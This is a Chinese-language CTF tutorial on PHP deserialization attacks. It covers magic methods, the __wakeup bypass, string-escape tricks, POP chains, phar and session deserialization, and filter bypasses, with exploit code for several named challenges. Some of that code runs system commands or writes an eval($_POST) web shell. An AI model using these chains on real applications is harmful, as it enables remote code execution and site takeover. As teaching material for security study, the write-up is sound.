PHP反序列化新手入门学习总结
最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。
php反序列化简单理解
首先我们需要理解什么是序列化,什么是反序列化?
PHP序列化:serialize()
序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。
而PHP反序列化:unserialize()
反序列化是将字符串转换成变量或对象的过程
通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。这样说可能还不是很具体,举个列子比如你网购买一个架子,发货为节省成本,是拆开给你发过去,到你手上,然后给你说明书让你组装,拆开给你这个过程可以说是序列化,你组装的过程就是反序列化
说这么多不如直接一点测试一下
php序列化的字母标识
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
N - NULL
测试一下
<?php
class TEST{
public $test1="11";
private $test2="22";
protected $test3="33";
public function test4()
{
echo $this->test1;
}
}
$a=new TEST();
echo serialize($a);
//O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";}
O代表类,然后后面4代表类名长度,接着双引号内是类名
然后是类中变量的个数:{类型:长度:"值";类型:长度:"值"...以此类推}
protected 和private其实是有不可打印字符的,所以这里附上截图
从图中可以看到有几个不可打印字符,关于这个还有一些特别的地方,和具体放在了后边写
有时候做题时为了防止传参中有啥意外,一般就会urlencode一下
什么是魔术方法?
做php反序列化的题总会遇到魔术方法
其实就是一种特殊方法当对对象执行某些操作时会覆盖 PHP 的默认操作
举个例子如下,这里用常见的construct和destruct魔术方法,其实就是构造函数和析构函数
<?php
class A{
public $a="这里是__construct";
public function __construct()
{
echo $this->a;
}
public function __destruct()
{
echo $this->a="这里是__destruct";
}
}
$a=new A();
//输出这里是construct这里是destruct
后边的题中也会给一些测试魔术方法的例子
想买给出魔术方法触发的情况,这对解题有很大帮助
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 对不存在的方法或者不可访问的方法进行调用就自动调用
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
光看还是了解不够,具体还得到亲自尝试才可以,下面我做了一些CTF题,在此分享给大家。
简单的反序列化题
题目来自[SWPUCTF 2021 新生赛]ez_unserialize
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
在construct方法里admin被赋值为user,passwd被赋值为123456,而在destruct方法需要把$this->admin === "admin" && $this->passwd === "ctf"这个式子成立才能输出flag
php反序列化是可以控制类方法的属性但不能改类方法的代码
于是我们直接更改就行,
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd = "ctf";
}
}
$a=new wllm();
echo urlencode(serialize($a));
?>
然后传参就行了,一般这里要url编码一下,规避不可打印字符,前面我们提到private protected 属性 序列化出来会有不可打印字符。
__wakeup绕过
这个其实是个CVE,CVE-2016-7124
影响版本php5<5.6.25,php7<7.010
简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
而魔术方法__wakeup执行unserialize()时,先会调用这个函数
写个代码本地测试一下
<?php
class A{
public $a;
public function __construct()
{
$this->a="触发__construct";
}
public function __wakeup()
{
$this->a="触发__wakeup";
}
public function __destruct()
{
echo $this->a;
}
}
$a=new A();
echo serialize($a);
O:1:"A":1:{s:1:"a";s:17:"触发__construct";}先正常序列化一下
反序列化一下,输出触发__wakeup
O:1:"A":2:{s:1:"a";s:17:"触发__construct";} 把对象个数改为2
触发__construct,绕过了wakeup
[极客大挑战 2019]PHP __wakeup()绕过
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
看源码我们需要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest;
这里我们先生成一个对象,然后序列化并Url编码,接着把它反序列化,var_dump一下看看
//$a=new Name('admin','100');
//echo urlencode(serialize($a));
//echo serialize($a);
$b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D";
var_dump(unserialize(urldecode($b)));
那么修改对象个数为大于2
O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
得到flag
POC
<?php
class Name{
private $username = 'admin';
private $password = '100';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a=new Name('admin','100');
echo urlencode(serialize($a));
//echo serialize($a);
//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
?>
反序列化逃逸问题
逃逸问题的本质是改变序列化字符串的长度,导致反序列化漏洞
所以会有两种情况,一种是由长变短,一种是由短变长
由长变短
自己随手写个题测试下
<?php
highlight_file(__FILE__);
class A
{
public $a;
public $b;
public $c;
public function __construct()
{
$this->a=$_GET['a'];
$this->b="noflag";
$this->c=$_GET['c'];
}
public function check()
{
if ($this->b==="123")
{
echo "flag{123dddd}";
}
else if ($this->a==="test")
{
echo "give you flag";
}
else
{
echo "no flag";
}
}
public function __destruct()
{
$this->check();
}
}
$a=new A();
$b=serialize($a);
$c=str_replace("aa","b",$b);
unserialize($c);
这里本地写一个测试简单利用下,学会这个逃逸思路即可
$b=serialize($a);
echo $b;
$c=str_replace("aa","b",$b);
echo($c);
//O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}
//O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}
这里测试一下,很明显可以看见4个aaaa 变成了两个b,但s:4依然是四个字符串,a的值就相当于是从aaaa变成了bb";这样,相当于往后吞噬掉了两位,而这个题需要$b为123才能给flag,
$this->b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把$b的值给覆盖掉
开始构造
然后计算要吞噬掉多少位
print(len('";s:1:"b";s:6:"noflag";s:1:"c";s:3:'))
print(36*'aa')
//35
//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
35个长度,构造出来肯定超过十个了,所以s:1的1会变成十位数,多出一位,所以要+1,用36个aa
a=36个aa,c=;s:1:"b";s:3:"123
这样构造出来为
O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";}
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:
print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:'))
刚好为72个,成功反序列化,得到flag
由短变长
题目来自ctfshowWEB262
index.php
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(FILE);
从题目注释里可以找到message.php
message.php源码
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
很明显,要想得到flag要把token值更改为admin
但是正常反序列化,字符串个数是固定的,$umsg = str_replace('fuck', 'loveU', serialize($msg));但是这里fuck被替换为loveU,四个字符被替换成五个字符,简单演示一下
<?php class test { public $username="fuckfuck"; public $password; } $a=new test(); //echo serialize($a); echo str_replace('fuck','loveU',serialize($a)); //O:4:"test":2:{s:8:"username";s:8:"fuckfuck";s:8:"password";N;} //O:4:"test":2:{s:8:"username";s:8:"loveUloveU";s:8:"password";N;}
可以很明显的看出来,s:8字符串应该是8个,替换后变为10个,因为有两个fuck,这样还看不出来什么,如果我们把多的字符串改为";s:5:"token";s:5:"admin";}而此时后面的";s:5:"token";s:4:"user";}这个就无效了
因为php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化
伪造的序列化字符串变成真的了,伪造的序列化字符串长度为27,loveU比fuck多一位
那么需要27个fuck就行
payload
?f=1
&m=1
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问message.php即可 当然这个有非预期解,直接修改token值写到cookie里就行,不过关键是了解到反序列化字符串逃逸问题的思路
POP链构造
做这种题关键是php魔术方法,构造PHP先找到头部和尾部,头部就是用户可控的地方,也就是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来学习下
[SWPUCTF 2021 新生赛]pop
题目源码
<?php error_reporting(0); show_source("index.php"); class w44m{ private $admin = 'aaa'; protected $passwd = '123456'; public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } }
POP链入手,先找关键代码,然后推断
需要admin为w44m,passwd为08067 才能得到flag
if($this->admin === 'w44m' && $this->passwd ==='08067'){
echo $flag;
发现可以利用$this->w00m->{$this->w22m}();
这个地方,修改w22m=getflag,那么这个地方就有getflag()函数了
在类w22m中 方法__destruct中echo $this->w00m;echo了一个对象,会触发tostring方法
前面魔术方法提到
__toString 当一个对象被当作一个字符串被调用。这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m,
链子构造为 w22m::__destruct->w33m::toString->w44m::getflag
poc如下,这里要用urlencode,因为我们前面提到private和protected生产序列化有不可见字符
<?php class w44m{ private $admin = 'w44m'; protected $passwd = '08067'; } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m=""; public $w22m="getflag"; public function __toString(){ $this->w00m->{$this->w22m}(); return 1; } } $a=new w22m(); $a->w0
[NISACTF 2022]babyserialize
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
查看了一下提示发现什么也没有
if(isset($_GET['ser'])){@unserialize($_GET['ser']);
这是头部
这是尾部
public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);
}
从__invoke()这里开始触发
__invoke() 当脚本尝试将对象调用为函数时触发
return $bb()而这里有一个函数调用
那么$bb是class Nisa的对象就会调用 __invoke
触发$bb要调用 __toString()
而__toString()是
当一个对象被当作一个字符串被调用。
找类似echo 这种代码,而这里有个strtolower
strtolower是在set方法里的
__set触发
在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
在four类的中有private $fun='abc';
Ilovetxw类中的__call方法访问了fun这个变量
function __call($from,$val){ $this->fun=$val[0]; }
而__call方法
对不存在的方法或者不可访问的方法进行调用就自动调用
TianXiWei类中的wakeup会触发call
$this->ext->nisa($this->x); nisa()这个方法并不存在
这里详细说下
<?php
class nisa
{
public $b="";
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class test
{
public $a ="";
public function __call($a,$b)
{
echo "call";
}
}
$a=new TianXiWei();
$a->ext=new test();
//echo urlencode(serialize($a));
echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;}
//echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";}
wakeup方法反序列化会触发,而里面nisa方法并不存在,$a->ext=new test()这样会触发到call,在本地测试的时候这样调用会echo call,另外我们可以看出序列化$a和$->ext是不一样的结果
链子很清晰了
TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke
POC
<?php
class NISA
{
public $fun = "";
public $txw4ever = "sYstem('ls /');";//有过滤,大小写绕过
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a="TXW4EVER";
private $fun='abc';
}
$a=new TianXiWei();//从这里下手触发__wakeup
$a->ext=new Ilovetxw();//触发__call
$a->ext->huang=new four();//触发__set
$a->ext->huang->a=new Ilovetxw();//触发__tosrting
$a->ext->huang->a->su=new NISA();//触发__invoke
echo urlencode(serialize($a));
相信到这里,做这种题已经有一定思路了,不要着急,找到方向,然后一步一步去构造
phar反序列化
单的理解phar反序列化
phar是什么?
phar是php提供的一类文件的后缀名称,也是php伪协议的一种。
phar可以干什么?
将多个php文件合并成一个独立的压缩包,相对独立
不用解压到硬盘就可以运行php脚本
支持web服务器和命令行运行
注意要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件
phar文件的的结构
一个phar文件通常由四部分组成,
1. a stub:可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
2. a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
3. the file contents:被压缩文件的内容。这里不是重点,内容不影响
4. [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾
<?php class Test {//自定义 } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new Test(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动
生成一个phar.phar文件
拉进010分析
可以清楚看到一个标识符,一个序列化,一个文件名
有序列化数据必然会有反序列化操作 ,php一大部分的文件系统函数 通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,受影响的函数如下
is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file
<?php
highlight_file(__FILE__);
class Test {//自定义
public $name='phpinfo();';
}
$phar=new phar('rce.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o=new Test();
$phar->setMetadata($o);
$phar->addFromString("flag.txt","flag");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
这里用file_get_contents测试下
<?php class test{ public $name=''; public function __destruct() { eval($this->name); } } echo file_get_contents('phar://rce.phar/flag.txt'); ?>
漏洞利用条件
phar文件要能够上传到https://cloud.tencent.com/product/cvm?from=10680端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
姿势
compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
可以用于文件上传,有文件上传头限制,还可以这样,例如GIF
$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub 这样可以生成一个phar.phar,修改后缀名为phar.gif
[SWPUCTF 2021 新生赛]babyunser phar反序列化
查看class.php获取源码
<?php
class aa{
public $name;
public function __construct(){
$this->name='aa';
}
public function __destruct(){
$this->name=strtolower($this->name);
}
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content="<?php @eval($_POST[1]);?>";
}
public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}
class zz{
public $filename;
public $content='surprise';
public function __construct($filename){
$this->filename=$filename;
}
public function filter(){
if(preg_match('/^/|php:|data|zip|..//i',$this->filename)){
die('这不合理');
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}
class xx{
public $name;
public $arg;
public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}
public function __call($name,$arg){
$name($arg[0]);
}
}
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>
构造链子
先找到关键的代码$this->$key->{$this->func}($_POST['cmd']);,通过这个可以构造命令执行,所以要想办法触发__get($key),
__get() 用于从不可访问的属性读取数据,ff类的 private $content;是不可访问的属性
访问content可以触发get() ,而aa::destruct方法里面有$this->name=strtolower($this->name),strtolower这个函数之前提到,可以触发tostring,利用它去触发zz::_tostring方法,利用方法里的$this->{$POST['method']}($_POST['var']);去构造method=write&var=content,
aa::destruct()->zz::toString()->zz::write->xx->ff::__get()
看着好奇怪,为什么要用write去这样钩爪,因为__get()触发需要,构造write函数进行访问content成员,不仅要用这个属性去new一个对象,还要对它进行访问
如下代码进行测试
<?php
class test
{
private $a;
public $b;
public function __construct($a,$b)
{
$this->a="aaa";
$this->b="bbb";
}
public function __get($name)
{
// TODO: Implement __get() method.
$this->a="__get";
$this->b="111";
}
public function __destruct()
{
echo $this->a;
echo $this->b;
}
}
$a =new test("s","s");
//echo $a->a;
$b=serialize($a);
unserialize($b);
注释掉echo 输出是aaabbbaaabbb
去掉注释输出是get111get111
如此那么构造POP链子
<?php
class aa{
public $name;
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content=new xx();//这里New xx
}
}
class zz{
public $filename;
public $content;
}
class xx
{
public $name;
public $arg;
}
$a=new aa();
$c=new ff();
$a->name=new zz();
$c->func="system";
$a->name->filename=$c;
$phar = new Phar("flag.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
//$o = new Test();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
上传之后使用phar协议读取
file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag
session反序列化
session与cookie很像,都是客户端与服务端会话时,用户的标识, PHP session 解决了这个问题,它通过在服务器上存储用户信息以便随后使用(比如用户名称、购买商品等)。然而,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。
而session是以文件方式存储的
直接找一道题做做
题目来自ctfshowWEB263
打开是一个登录页面,用目录扫描扫一下,这里我用的是dirsearch
dirsearch -u "http://invalid.uri -e*
存在源码泄露,访问http://www.zip,下载下来源码,关键代码
index.php源码
*/
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
check.php源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:59:10
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:15:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
inc.php中有一个这个
ini_set('session.serialize_handler', 'php');
而session存储格式(序列化)其中有这两种
ini_set('session.serialize_handler', 'php');
ini_set('session.serialize_handler', ' php_serialize ');
测试一下看这两个什么区别
<?php ini_set('session.serialize_handler','php'); session_start(); class test1{ public $a="test"; } $a=new test1(); $_SESSION['user']=$a;
在tmp下找到这个文件打开看
是
user|O:5:"test1":1:{s:1:"a";s:4:"test";}<?php ini_set('session.serialize_handler','php_serialize'); session_start(); class test1{ public $a="test"; } $a=new test1(); $_SESSION['user']=$a;a:1:{s:4:"user";O:5:"test1":1:{s:1:"a";s:4:"test";}}
两种方式的区别主要是“|”符号,在php机制中,只会序列化“|”符号后面的内容
inc.php中关键代码
class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆
可以利用这个函数写一句话木马
而session_start() 函数会解析 session 文件,就相当于进行了反序列化,session值我们是可控的,这样的话反序列化有了,只要构造出序列化字符串触发 User类 的 __destruct方法就可以了
<?php
class User
{
public $username;
public $password;
function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
}
$a=new User('1.php','<?php eval($_POST["1"]);?>');
echo base64_encode("|".serialize($a));
访问的时候文件名是log-拼接,所以是log-1.php,index.php里面三元条件运算符: $SESSION['limti']>5?die("登陆失败次数超过限制"):$SESSION['limit']=base64_decode($_COOKIE['limit')
第一个式子不成立,则执行$SESSION['limit']=base64_decode($COOKIE['limit')
,因为有base64_decode,所以这里我们还有base64_encode一下
抓包改limit值
然后发包,接着访问check.php 实现反序列化shell的写入
然后变更请求方法,注意直接右键选择变更POST请求
tricks总结
16进制绕过字符过滤
//O:1:"A":1:{s:2:"ab";s:4:"test";} //O:1:"A":1:{S:2:"61b";s:4:"test";}//s改为大写S会被当成16进制解析 //61是a的16进制
php类名对大小写不敏感
ctfshowWEB266
<?php highlight_file(__FILE__); include('flag.php'); $cs = file_get_contents('php://input'); class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->pas
很明显是触发析构函数就得到了flag,但是有过滤,如果匹配到了ctfshow就抛异常,
这题用到的知识点是PHP类名对大小写不敏感,可以清楚看到过滤并没有过滤大小写
直接这样
$cs = file_get_contents('php://input');采用php伪协议传参
直接提交POST数据就行
<?php
class cTfshow
{
}
$a=new cTfshow();
echo (serialize($a));
+号绕过
ctfshowWEB258
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
可见增加了过滤,过滤例如如下o:123:、c:456:
s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}phpinfo()
正常反序列化肯定会有o和c这种
如果O:后面不跟数字的话就可以把这个绕过去了
这里可以用+号,具体原因是跟PHP底层代码有关,+号判断也是可以正常的反序列化的
这里把O:后面加上一个加号
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="phpinfo();";
public function getInfo(){
eval($this->code);
}
}
$a=new ctfShowUser();
//echo urlencode(serialize($a));
$a=serialize($a);
$a=preg_replace('/[oc]+:/i','O:+',$a);
echo urlencode($a);
利用&使两值恒等
题目ctfshow web265
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
$ctfshow->login()这个成立才给flag
$ctfshow->token=md5(mt_rand());但是这个是随机的
这个题考察php按地址传参
<?php
$a='11';
$b=&$a;
$b=1;
echo $a;//$b被赋值的是变量a的地址,php是按地址传参,a的值会随b值变化
//1
所以我们可以直接这样
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->password = &$this->token;
}
}
$a=new ctfshowAdmin();
echo ( urlencode(serialize($a)));
php7.1+反序列化对类属性不敏感
题目来自[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
看着很多,其实没什么东西,
关键要利用到这里
大致看了write函数或者read函数,都可以尝试利用得到flag
但是__destruct()方法 $this->content = "";会把content值为空,我们没有办法去利用这个write函数,所以看看read函数
__destruct()方法里有一个强类型比较,$this->op === "2",如果我们把op=2;不加引号,那么为int类型,则$this->op === "2"为false,这样在process()方法里,就会调用read方法
接着就是绕过 is_valid函数 ,由于有protected属性,会有不可打印字符,而不可打印字符被
is_valid函数限制住了,所以需要绕过,那么在php7.1版本以上可以直接修改属性
因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符
POC如下
<?php
